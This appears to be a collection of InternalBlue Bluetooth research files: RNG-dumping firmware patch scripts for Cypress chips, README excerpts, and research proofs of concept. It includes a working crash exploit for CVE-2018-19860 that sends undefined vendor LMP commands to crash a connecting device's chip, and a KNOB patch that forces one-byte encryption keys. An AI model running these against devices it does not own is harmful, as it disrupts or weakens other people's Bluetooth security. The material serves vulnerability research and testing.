Available for the [Nexus 5](nexus5/LMP_MAC_Address_Filter.py).
NiNo Attack Test
----------------
Prior to pairing, an MITM can set the IO capabilities to no input, no output. This will skip the numeric comparison.
If the operating system displays a yes/no question during pairing, a warning, or similar, is up to the concrete implementation.
This script tests how the other device will behave in a pairing that does not use numeric comparison, but is no
active MITM attack.
Available for the [Nexus 5](nexus5/NiNo_PoC.py).
Measurement of BLE Receive Statistics
-------------------------------------
This demo provides a hook within the callback for BLE packet reception. Upon packet reception, no matter if the
packet is a keep-alive null packet or not, it will be processed by this function. During this state, further
metadata is available, such as the RSSI (Received Signal Strength Indicator), the packet's channel, and the
currently active channel map.
Available for the [Nexus 5](nexus5/BLE_Reception_PoC.py) and [Samsung Galaxy S8](s8/BLE_Reception_PoC.py) including a callback script,
as well as for the [CYW20735 Evaluation board](eval_cyw20735/BLE_Reception_PoC.py), [Raspberry Pi 3](rpi3/BLE_Reception_PoC.py)
and [3+/4](rpi3p_rpi4/BLE_Reception_PoC.py) currently without callback script.
We also ported it for the iPhone 6, however, the current *InternalBlue* iOS implementation cannot be run in parallel
with the full iOS stack, thus it is not pushed online here.
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#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
from pwn import *
from internalblue.hcicore import HCICore
import internalblue.hci as hci
import numpy as np
from datetime import datetime
"""
Measure the RNG of the CYW20719 Evaluation Board.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* BT only, no need to disable Wi-Fi.
* Launch_RAM also is broken on this one :D
"""
#ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
ASM_LOCATION_RNG = 0x222400 # we seem to have 0x3400 free bytes here
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0xc00 # run this often (x5 bytes)
# 0x900 seems to work
FUN_RNG = 0x48AC8 # original RNG function that we overwrite with bx lr
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// send a command complete event as we overwrote the launch_RAM handler to prevent HCI timeout event wait
mov r0, #0xFC4E // launch RAM command
mov r1, 0 // event success
bl 0x1A9D6 // bthci_event_SendCommandCompleteEventWithStatus
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_rng
// done, let's notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_rng:
// wait until RNG is ready, which is indicated by status 0x200fffff
wait_ready:
ldr r2,=0x352604
ldr r2, [r2]
ldr r3, =0x200fffff
cmp r2, r3
bne wait_ready
// request new entropy: rbg_control_adr=1
mov r3, 1
ldr r2, =0x352600
str r3, [r2]
// dst is in r1, dump RNG value here
ldr r2, =0x352608
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_rng
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 243
mov r1, 0xff
mov r0, 245
bl 0x1AA28 // bthci_event_AllocateEventAndFillHeader
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 10 // buffer starts at 10 with data
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x1A78C // bthci_event_AttemptToEnqueueEventToTransport
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = HCICore()
internalblue.interface = 'hci0' #internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
progress_log = log.info("Installing assembly patches...")
# Disable Patchram
#if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log):
# progress_log.critical("error!")
# exit(-1)
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
log.critical("Could not disable original RNG!")
exit(-1)
# CYW20719 Launch_RAM fix: overwrite an unused HCI handler
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
# The handler table entry for it is at 0x1AB218, and it points to launch_RAM+1.
# Located by looking for bthci_cmd_vs_HandleLaunch_RAM+1 in the dump.
if not internalblue.patchRom(0x1AB218, p32(ASM_LOCATION_RNG+1)): # function table entries are sub+1
log.critical("Could not implement our launch RAM fix!")
exit(-1)
# Disable functions that crash us when using the target memory region
# here: bcs_taskDeactivate_blocking - similar behavior as in CYW20819
patch = asm("bx lr; bx lr", vma=0xD2DEC) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(0xD2DEC, patch):
log.critical("Could not disable original bcs_taskDeactivate_blocking!")
exit(-1)
log.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
# do an immediate check to tell where the corruption happened
check = random[4::5]
pos = 0
failed = False
for c in check:
pos = pos + 1
if c != 0x42:
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
failed = True
break
if failed:
continue
# no errors, save data
data.extend(random)
i = i + 1
log.info("Finished acquiring random data!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("cyw20719-randomdata-%irounds-0xc00-%s.bin" % (rounds, datetime.now()), "wb")
f.write(data)
f.close()
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
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#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
from pwn import *
from internalblue.hcicore import HCICore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
import os
from datetime import datetime
"""
Measure the RNG of the CYW20719 Evaluation Board.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* BT only, no need to disable Wi-Fi.
* Launch_RAM also is broken on this one :D
"""
#ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
ASM_LOCATION_RNG = 0x222400 # we seem to have 0x3400 free bytes here
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0xc00 # run this often (x5 bytes)
# 0x900 seems to work
FUN_RNG = 0x48AC8 # original RNG function that we overwrite with bx lr
PRAND = 0x410548 # the pseudo random register we want to benchmark
# !!! other mapping, follows CYW20719
# 0x318088 dc_nbtc_clk_adr
# 0x32A004 timer1value_adr
# 0x3186A0 dc_fhout_adr
# 0x410434 agcStatus_adr
# 0x41079C rxInitAngle_adr
# 0x4100AC spurFreqErr1_adr
# 0x410548 rxPskPhErr5_adr
# ?? no mm_top?
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// send a command complete event as we overwrote the launch_RAM handler to prevent HCI timeout event wait
mov r0, #0xFC4E // launch RAM command
mov r1, 0 // event success
bl 0x1A9D6 // bthci_event_SendCommandCompleteEventWithStatus
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_pseudo
// done, let's notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_pseudo:
// dst is in r1, dump RNG value here
ldr r2, =0x%x
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_pseudo
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 243
mov r1, 0xff
mov r0, 245
bl 0x1AA28 // bthci_event_AllocateEventAndFillHeader
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 10 // buffer starts at 10 with data
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x1A78C // bthci_event_AttemptToEnqueueEventToTransport
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
progress_log = log.info("Installing assembly patches...")
# Disable Patchram
#if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log):
# progress_log.critical("error!")
# exit(-1)
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
log.critical("Could not disable original RNG!")
exit(-1)
# CYW20719 Launch_RAM fix: overwrite an unused HCI handler
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
# The handler table entry for it is at 0x1AB218, and it points to launch_RAM+1.
# Located by looking for bthci_cmd_vs_HandleLaunch_RAM+1 in the dump.
if not internalblue.patchRom(0x1AB218, p32(ASM_LOCATION_RNG+1)): # function table entries are sub+1
log.critical("Could not implement our launch RAM fix!")
exit(-1)
# Disable functions that crash us when using the target memory region
# here: bcs_taskDeactivate_blocking - similar behavior as in CYW20819
patch = asm("bx lr; bx lr", vma=0xD2DEC) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(0xD2DEC, patch):
log.critical("Could not disable original bcs_taskDeactivate_blocking!")
exit(-1)
log.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
# do an immediate check to tell where the corruption happened
check = random[4::5]
pos = 0
failed = False
for c in check:
pos = pos + 1
if c != 0x42:
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
failed = True
break
if failed:
continue
# no errors, save data
data.extend(random)
i = i + 1
log.info("Finished acquiring random data!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("cyw20719-randomdata_pseudo-%irounds-0xc00-reg%x-%s.bin" % (rounds, PRAND, datetime.now()), "wb")
f.write(data)
f.close()
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
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#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
# PoC for CVE-2018-19860
import sys
from pwn import *
from internalblue.hcicore import HCICore
"""
This is a crash only test for CVE-2018-19860. Install this patch and connect
to any device. If the target device Bluetooth chip crashes upon connection,
it is vulnerable. If not, it is likely not, but to be sure, adapt the value for
`LMP_VSC_CMD_START` and `LMP_VSC_CMD_END`.
This snippet modifies connection establishment. To be still compatible with
scanning for devices, feature_req and name_req should not be modified.
We modify lm_SendLmpHostConnectionReq, which is only triggered when
clicking on another device to establish a connection. Then we launch the attack
that tries vendor specific LMP commands LMP_VSC_ff ... LMP_VSC_00.
TODO
After ~24 commands, this cannot be repeated any more. Tapping again too early
crashes the driver. Long waiting loops don't help. A good workaround is to
loop from LMP_VSC_0a to LMP VSC 00, which is enough to see if LMP VSC are
implemented (LMP_VSC_03 will be replied with LMP_VSC_05) and if the device
is vulnerable (LMP_VSC_0a will not be answered) or not vulnerable (LMP_VSC_0a
will be replied with LMP_not_accepted).
"""
HOOK_VSC_EXISTS = 0xABDF6 # This function is in ROM, lm_SendLmpHostConnectionReq
ASM_LOCATION_VSC_EXISTS = 0x00218300
LMP_VSC_CMD_START = 0x0f #0xcf #0x52 # TODO change this depending on fuzz range
LMP_VSC_CMD_END = 0x09 # TODO change this depending on fuzz range
ASM_SNIPPET_VSC_EXISTS = """
b vsc_iterate
b send_lmp
vsc_iterate:
push {r5-r6, lr} // backup registers
mov r5, 0x%02x00 // 4 byte reverse order LMP, starting with LMP VSC 00 ff
mov r6, r0 // backup connection struct
loop:
mov r0, r6 // restore connection struct
bl send_lmp
subs r5, 0x00000100 // iterate through VSC LMP commands until VSC 00 00
cmp r5, 0x%02x00 // loop exit condition
bne loop
// proceed as in original function lm_SendLmpHostConnectionReq
mov r0, r6 // restore connection struct
mov r5, 0x00000066 // LMP_host_connection_req << 1
bl send_lmp
pop {r5-r6, lr} // restore registers
b 0xABE78 // address from where lm_SendLmpHostConnectionReq was called
//pass connection struct in r0 and lmp data in r5
send_lmp:
push {r4-r5,lr}
mov r4, r0 // store connection struct copy to r4
// malloc buffer for LMP packet
bl 0x8691E // lm_allocLmpBlock
// fill buffer
str r5, [r0, 0xc] // The actual LMP packet must start at offset 0xC in the buffer.
//// add some more bytes if needed
//mov r1, 0x4242
//str r1, [r0, 0xe]
mov r1, r0 // move lmp packet buffer into r1
mov r0, r4 // restore connection struct
pop {r4-r5,lr} // restore r4 and the lr
b 0x3453E // branch to DHM_LMPTx. DHM_LMPTx will do the return for us.
""" % (LMP_VSC_CMD_START, LMP_VSC_CMD_END)
"""
When sending LMP commands, lookup tables are used to determine length and other
function parameters. However, as we use undefined commands, some of them seem
never to be sent. The table lookup simply is nonsense here... so we patch around
this.
"""
ASM_LOCATION_LMP_00_LOOKUP = 0x00218200
HOOK_LMP_00_LOOKUP = 0x203dfc # This function already provides a hook, lm_BPCS_GetLmpInfoTypeFilter
ASM_SNIPPET_LMP_00_LOOKUP = """
ldr r0, =table
bx lr
// dummy table entry
.align
table:
.byte 0x6b // just a nullsub (bx lr at 0x46a+1)
.byte 0x04
.byte 0x00
.byte 0x00
.byte 0x10 // length
.byte 0x00
.byte 0x00
.byte 0x01
"""
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
progress_log = log.info("Installing assembly patches to crash other device on connect requests...")
# Older devices like the Nexus 5 only accept LMP BPCS from Broadcom,
# they don't know about Cypress yet...
progress_log = log.info("Changing vendor ID from Cypress to Broadcom.")
if not internalblue.writeMem(address=0x2020f0, data='\x0f\x00\x00\x00', progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
progress_log = log.info("Writing ASM snippet for LMP BPSC table lookup.")
code = asm(ASM_SNIPPET_LMP_00_LOOKUP, vma=ASM_LOCATION_LMP_00_LOOKUP)
if not internalblue.writeMem(address=ASM_LOCATION_LMP_00_LOOKUP, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
progress_log = log.info("Installing predefined hook for LMP BPSC table lookup.")
if not internalblue.writeMem(address=HOOK_LMP_00_LOOKUP, data=p32(ASM_LOCATION_LMP_00_LOOKUP + 1), progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
progress_log = log.info("Writing ASM snippet for LMP BPSC existence check.")
code = asm(ASM_SNIPPET_VSC_EXISTS, vma=ASM_LOCATION_VSC_EXISTS)
if not internalblue.writeMem(address=ASM_LOCATION_VSC_EXISTS, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# all send_lmp functions are in rom...
log.info("Installing LMP BPSC existence hook patch...")
patch = asm("b 0x%x" % ASM_LOCATION_VSC_EXISTS, vma=HOOK_VSC_EXISTS)
if not internalblue.patchRom(HOOK_VSC_EXISTS, patch):
log.critical("error!")
exit(-1)
log.info("Installed all the hooks. You can now establish connections to other devices to check for the LMP CVE.")
# shutdown connection
internalblue.shutdown()
log.info("------------------")
log.info("To test the vulnerability, establish a classic Bluetooth connection to the target device. Eventually try different values for LMP_VSC_CMD_*.")
+56 -10
View File
@@ -1,11 +1,9 @@
#!/usr/bin/python2
#!/usr/bin/env python3
# Jiska Classen, Secure Mobile Networking Lab
from pwn import *
from internalblue import Address
from internalblue.hcicore import HCICore
from internalblue.utils.pwnlib_wrapper import log, asm
"""
@@ -32,17 +30,65 @@ log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req i
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x7402A) # connection struct key entropy
internalblue.patchRom(0x7402A, patch)
internalblue.patchRom(Address(0x7402A), patch)
# modify global variable for own setting
internalblue.writeMem(0x280F13, '\x01') # global key entropy
internalblue.writeMem(0x280F13, b'\x01') # global key entropy
internalblue.shutdown()
exit(-1)
log.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n")
"For more details, see special instructions for BlueZ.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
class CmdKnob(cmd.Cmd):
"""
Introduce a new CLI command to make KNOB debugging easier...
"""
keywords = ["knob"]
description = "Debugs which key length is currently active within a connection handle."
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
parser.add_argument("--hnd", type=auto_int, default=0x000c,
help="Handle KNOB connection.")
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return True
def hciKnobCallback(record):
"""
Adds a new callback function so that we do not need to call Wireshark.
"""
hcipkt = record[0]
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if hcipkt.data[3] == 0x12: # Error
log.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
return
# add our command
cmd.CmdKnob = CmdKnob
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli.commandLoop(internalblue)
+238
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@@ -0,0 +1,238 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
from pwn import *
from internalblue.hcicore import HCICore
import internalblue.hci as hci
import numpy as np
from datetime import datetime
"""
Measure the RNG of the CYW20735 Evaluation Board.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* BT only, no need to disable Wi-Fi.
* Launch_RAM is also broken on this one :D
"""
ASM_LOCATION_RNG = 0x217000 # load our snippet into Patchram (we need to disable all patches for this!)
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x500 # run this often (x5 bytes)
FUN_RNG = 0xA562E # original RNG function that we overwrite with bx lr
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// send a command complete event as we overwrote the launch_RAM handler to prevent HCI timeout event wait
mov r0, #0xFC4E // launch RAM command
mov r1, 0 // event success
bl 0x24E66 // bthci_event_SendCommandCompleteEventWithStatus
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_rng
// done, let's notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_rng:
// wait until RNG is ready, which is indicated by status 0x200fffff
wait_ready:
ldr r2,=0x352604
ldr r2, [r2]
ldr r3, =0x200fffff
cmp r2, r3
bne wait_ready
// request new entropy: rbg_control_adr=1
mov r3, 1
ldr r2, =0x352600
str r3, [r2]
// dst is in r1, dump RNG value here
ldr r2, =0x352608
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_rng
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 243
mov r1, 0xff
mov r0, 245
bl 0x24E92 // bthci_event_AllocateEventAndFillHeader
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 10 // buffer starts at 10 with data
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x24C36 // bthci_event_AttemptToEnqueueEventToTransport
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = HCICore()
internalblue.interface = 'hci0' # internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
progress_log = log.info("Installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
log.critical("Could not disable original RNG!")
exit(-1)
# CYW20735 Launch_RAM fix: overwrite an unused HCI handler
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
# The handler table entry for it is at 0x1425BC, and it points to launch_RAM+1.
# Located by looking for bthci_cmd_vs_HandleLaunch_RAM+1 in the dump.
if not internalblue.patchRom(0x1425BC, p32(ASM_LOCATION_RNG+1)): # function table entries are sub+1
log.critical("Could not implement our launch RAM fix!")
exit(-1)
log.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
# do an immediate check to tell where the corruption happened
check = random[4::5]
pos = 0
failed = False
for c in check:
pos = pos + 1
if c != 0x42:
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
failed = True
break
if failed:
continue
# no errors, save data
data.extend(random)
i = i + 1
log.info("Finished acquiring random data!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("cyw20735-randomdata-%irounds-0x500-%s.bin" % (rounds, datetime.now()), "wb")
f.write(data)
f.close()
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
+259
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@@ -0,0 +1,259 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
from pwn import *
from internalblue.hcicore import HCICore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
import os
from datetime import datetime
"""
Measure the RNG of the CYW20819 Evaluation Board.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* BT only, no need to disable Wi-Fi.
* CYW20819-specific patch: Launch_RAM crashes the chip, so we build
our own HCI handler.
"""
#ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
ASM_LOCATION_RNG = 0x219000
# 0x219000 crashed with 0x1000 in round 27
# 0x216000 looks emptier but crashed on first attempt
# memdump doesn't look so good in binwalk entropy, so we really don't have memory I fear
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x500 # run this often (x5 bytes)
# longer snippets (0x600) don't work! 0x500 works but is corrupted by other process.
FUN_RNG = 0xB2562 # original RNG function that we overwrite with bx lr
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// send a command complete event as we overwrote the launch_RAM handler to prevent HCI timeout event wait
mov r0, #0xFC4E // launch RAM command
mov r1, 0 // event success
bl 0x1179E // bthci_event_SendCommandCompleteEventWithStatus
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_rng
// done, let's notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_rng:
// wait until RNG is ready, which is indicated by status 0x200fffff
wait_ready:
ldr r2,=0x352604
ldr r2, [r2]
ldr r3, =0x200fffff
cmp r2, r3
bne wait_ready
// request new entropy: rbg_control_adr=1
mov r3, 1
ldr r2, =0x352600
str r3, [r2]
// dst is in r1, dump RNG value here
ldr r2, =0x352608
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_rng
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 243
mov r1, 0xff
mov r0, 245
bl 0x117CA // bthci_event_AllocateEventAndFillHeader
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 10 // buffer starts at 10 with data
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x1156E // bthci_event_AttemptToEnqueueEventToTransport
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = HCICore()
internalblue.interface = internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
progress_log = log.info("Installing assembly patches...")
# Disable Patchram
#if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log):
# progress_log.critical("error!")
# exit(-1)
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
log.critical("Could not disable original RNG!")
exit(-1)
# CYW20819 Launch_RAM fix: overwrite an unused HCI handler
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
# The handler table entry for it is at 0xF2884, and it points to launch_RAM+1.
if not internalblue.patchRom(0xF2884, b'\x01\x90\x21\x00'): # 0x219001
log.critical("Could not implement our launch RAM fix!")
exit(-1)
# Disable functions that crash us when using the target memory region at 0x219000
